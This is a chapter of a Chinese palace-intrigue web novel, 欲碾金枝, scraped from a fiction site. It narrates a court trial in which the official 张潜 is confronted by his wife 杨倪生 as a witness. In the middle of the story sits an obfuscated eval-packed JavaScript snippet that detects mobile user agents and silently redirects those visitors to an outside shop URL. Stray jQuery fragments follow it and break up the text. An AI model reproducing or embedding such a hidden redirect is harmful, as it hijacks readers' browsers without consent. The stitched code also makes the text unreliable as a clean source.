文趣网 > 都市小说 > 欲碾金枝 > 93. 比翼鸟其三
    说是帮忙也是真帮忙,魏朝从沈府出来回家,窗外月色初升。

    钱卫早已等候多时,待他悠然饮茶,缓缓汇报着李蔺和满月阁的情况。

    魏朝脱了外衫只剩一层月白长袍,歪在躺椅上晃着脚,放下茶碗复睁眼,“孙家还是没动静?”

    “是。”

    钱卫坐在对面,撑住下颌扣扣脸侧,“不知道是不是上次没得逞,暂时找不到合适的办法,所以这段时间一直安安分分的,没一点风声。”

    钱卫说的那次是在满月阁,孙坚的人想借他的手除掉沈梵,被自己识破后完全没了反应。

    该说是聪明还是蠢呢?

    这茶是几日前北雁运来的,赶着时候炒制而成,上好的泉水一泡一斟,带着奶香的气儿散开,整个屋子染上味,人都精神不少。

    今日在大理司睡饱,左右晚上用不着怎么休息,魏朝又饮一口,便见钱卫凑过来,他一抬眼,“怎么了?”

    “好香啊……”

    钱卫缩缩脖子,撇开头,耳根带上绯色,“我还没见过这么香的茶呢,以往喝的都是苦的。”

    这话说的,怎么感觉自己在亏待他似的。

    “那不是吗?”

    魏朝一抬下巴,指那还冒着热气的碗盏,“专门给你的,还不喝?”

    钱卫欢天喜地拿起,刚喝一口吸吸鼻头闭眼。

    又怎么了?

    他微微蹙眉,便见这家伙感动得热泪盈眶,捧着茶碗不放,口中不断喃喃,“果然还是跟着大人好,什么都能用最好的也太好了。”

    “钱卫要一辈子跟着大人,你去哪我就去哪……”

    ……

    没眼看。

    魏朝默默移开视线,主动屏蔽掉那张哭得稀里哗啦的小脸。

    不过,从高崇鸣近日的书信来看,李蔺天资并不差,只是以往疏于练习在众皇子里稍微逊色,若是能保持这个冲劲,往后种种都不是难事,也算不枉自己这么费心。

    但这反而引出了新的问题。

    目光越过窗棱望向窗外,魏朝深吸口气,合目养神,静静等待天亮的到来。

    翌日,他换身装束,让御林院换批人巡逻,自己带着钱卫、黄芝、还有小队光和司的人去大理司值守。

    昨日民众便多,一小队差点没稳住秩序,何况没出结果,若是今日再多些藏几个杀手,以大理司大部分人的身手,能保住自身都悬。

    本来还想会不会多虑,但以防万一,他还是这么做了。

    他到时,晨光熹微,大理司稀稀拉拉站着些人,沈梵才从偏房走出,手上抱着一摞书卷,一点头往正堂去。

    魏朝跟二人叮嘱好,抬腿踏入。

    黄芝满头雾水看向钱卫,钱卫也摇摇头,一摆手说自己去站岗了,让黄芝别偷懒,小心他杀回来给你吓一跳。

    黄芝撇撇嘴,摆弄一番腰间小鸭子,不情不愿走了。

    正堂内,沈梵揉揉眼皮,坐姿有些散漫,侧头和沈济明等人交谈起来。

    魏朝没事干,就立在他身侧,见他茶凉了吩咐人换,见墨干了指使人研,自己捋着那头秀丽长发,臭美偷瞄倒是很上道。

    许是习惯了,众人懒得搭理他这副德行,视线鲜少投来。

    御史台的人到的晚些,等日光初升,钟鼓长鸣才姗姗来迟。

    穆怀仁一到便拱手赔罪,沈梵很是客套应下,让出主位给二人,自己坐在一侧,端起茶碗咽一口,目光给到堂下。

    穆七倒是毫无歉意,和魏朝对视一眼拉开椅子就坐,接过案卷一拍惊堂木,眯眼沉声道:“开堂!”

    两侧衙役杵水火棍跺地,毫无表情,待人带到才停下,站得笔直。

    张潜一身白衣染上尘灰,头发干枯毛躁,只一张脸还算清秀,被人左右挟持到堂前跪下,近乎匍匐着,声调依旧沉稳,“草民张潜,见过几位大人。”

    魏朝职责如此,于是瞧沈梵一眼收回,拇指搭上剑柄,仍在主位后方站定。

    “张潜。”

    穆七复念一遍,左手翻案卷哗啦作响,接过备好的单边镜戴上,“抬起头来。”

    张潜抬起头,双手还被镣铐困住,抿紧唇没说话。

    穆七轻咳一声,片刻开口,漫不经心很是慵懒,“有人状告你为官不仁、为夫不义、为父不慈、为子不孝,多次贪墨中饱私囊、与外邦勾结、做假账犯上欺君之罪,可有此事啊?”

    “并无此事。”

    张潜摇摇头,一行清泪呼之欲出,又一响头磕上,“还望大人为草民做主,草民是有私心犯了错,但绝不敢如此大胆,犯下如此罪行!”

    “哦?”

    双手合十撑住下颌,穆七嘶了一声,朝沈梵抬抬下巴,“那这是怎么回事?”

    沈梵颔首,一侧头。

    侧方沈济明马上摊开卷册,举起展示一番,冷声道:“张潜,你看好,这是昨日我司收到的,关于你在幽州贪污银两篡改数目的证明,时间地点写的清清楚楚,每一笔都对的上号,你还有什么要解释的?”

    张潜猛地一抖,又垂首,哑着嗓子高声道,“此为捏造,定是有人陷害草民,还望各位大人明察秋毫,还草民一个公道。”

    殿内一片哗然。

    “明察秋毫?公道?”

    喉间滑出一声轻哼,沈梵双眼微眯,震声道:“你觉得自己冤枉?有人几年前便要陷害你,不远万里到大理司提交假证,只为让你落马?这是什么愁什么怨?”

    “你还敢当堂狡辩?胆子不小啊,难怪能犯下如此滔天罪行!”

    他面无表情便显凌厉,一拍桌案,吓得堂下群众倒吸口气,忙收手厉声,“若留你这等毒瘤,才真是让天下百姓寒心!”

    张潜吓得一抖又一抖,却始终不松口,在堂上细数他罪行时不断喊冤,声泪俱下。

    杀人父兄、毒人姐妹、逼良为娼、抛父弃子……

    一桩桩一件件,罄竹难书。

    张潜百口莫辩,双腿分开跪在地上,在穆七一拍惊堂木喊肃静,又问他认不认罪时,猛垂下头摇晃。

    堂上陷入沉寂。

    魏朝下意识望去,发现沈梵半合着眼,揉揉眉心。

    堂下很快沸腾起来。

    人群涌动,有一女子挤进来,艰难移动着,脸上带着面纱,手里牵着一个小女孩。

    众人纷纷望去。

    沈梵甫一抬眸,正好瞥到小女孩脸侧那颗黑痣,猛睁大眼,起身挥手,高声道:“让道!”

    “都让开,让人证上堂!”

    话音未落,钱卫带着人冲进,呵斥几声,将围观群众拉开距离。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17645434|206786||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    张潜身躯一僵,这才缓缓扭头。

    这个引起轰动的女人,不是别人,正是杨氏。

    好些日子不见,她憔悴不少,眼下乌青遍布,细长手臂却紧紧抓住小女孩,完全不分给张潜目光。

    “民女杨倪生,见过少卿大人、御史丞、中丞大人、关首领。”

    她站直,冲堂上几人行礼,嗓音略微发颤,却抬高掷地有声,“还望各位大人还民女、还幽州百姓一个公道!”

    堂下越发喧闹,穆七一拍桌正色,“杨倪生,你从实说来,若是证据确凿,本官定会还你公道。”

    杨倪生直直跪下,小洇也跪得笔直。

    她一拱手,垂首腰背挺直,“民女乃临安人,生于商贾之家,父兄在当地略有地位,姐妹是闻名远近的绣娘、厨娘、茶商。”

    “民女与张潜乃少年相识,那时他还只是一个籍籍无名之辈,被朝廷分派至此,他说自己偶然在二姐的成衣铺见过我,对我一见倾心要送我鲜花表达喜欢,那时民女见他眉目清秀仪表堂堂,接下了他的好意,却不想竟酿成如此大祸!”

    堂下彻底炸开,你一言我一语,吵闹声不绝。

    外侧衙役和黄芝等人下场动手,穆七也皱紧眉头,猛拍桌,“肃静!肃静!”

    堂前安静下来,杨倪生把书卷双手呈上,这才继续,嗓音带了哽咽,“民女与他成婚十余载,他竟为了我杨家财产对我家人痛下杀手,手段极其狠辣不留情面,在知道我要来京城报官时更是用迷药将我弄晕,卖给幽州一家青楼的老鸨换自己高升的机会。”

    她说着,长袖掩面逝去泪水,另一只手却不曾松动半分,“后来,我侥幸逃脱,却身无分文,为了报仇,我隐姓埋名到了他府上,替他做起肮脏生意,因此,他贪的每一笔,我心里都有数。”

    “终于,有天夜里,我得到了与他独处的机会,我想着,我终于可以为家人报仇雪恨了。”

    她苦笑着抬头,迟疑许久才艰难张口,“可我却没下定决心,最后落荒而逃,放任他继续为非作歹。”

    “民女自知有罪,请大人将我同张潜等人一并处罚!”

    话毕,她猛趴下去,双肩微微颤抖起来。

    小洇已经泣不成声,手臂横在身前,不断抽噎着。

    大殿陷入长久的沉默。

    侧方书吏接过翻阅,沈梵轻叹口气。

    穆七也轻声,“杨倪生,你先起来。”

    女子谢过,拉住女孩站在一旁。

    下一秒,穆七正色,厉声道:“张潜,你还不认罪?”

    张潜抖着嘴唇,“草,草民……”

    “草民的确做的不对,但万万没到这妇人说的地步,各位大人可千万别听她的一面之词啊!”

    沈梵凝眉。

    穆七靠上椅背,一扬眉,鼻腔发出一阵轻哼,“怎么?你还在等下一个证人来坐实你的罪名?”

    话音刚落。

    “不必了。”

    未见其人先闻其声,一道修长身影紧接着从侧方进来,朝堂上拱手,“你要人来坐实,这个人已经来了。”

    众人皆是一惊。

    “张潜,转过头来,看我。”

    男子侧过身,一下扯掉面具,一挑眉毛哧笑,“眼熟吗?”

    张潜猛睁大眼,彻底瘫软下去。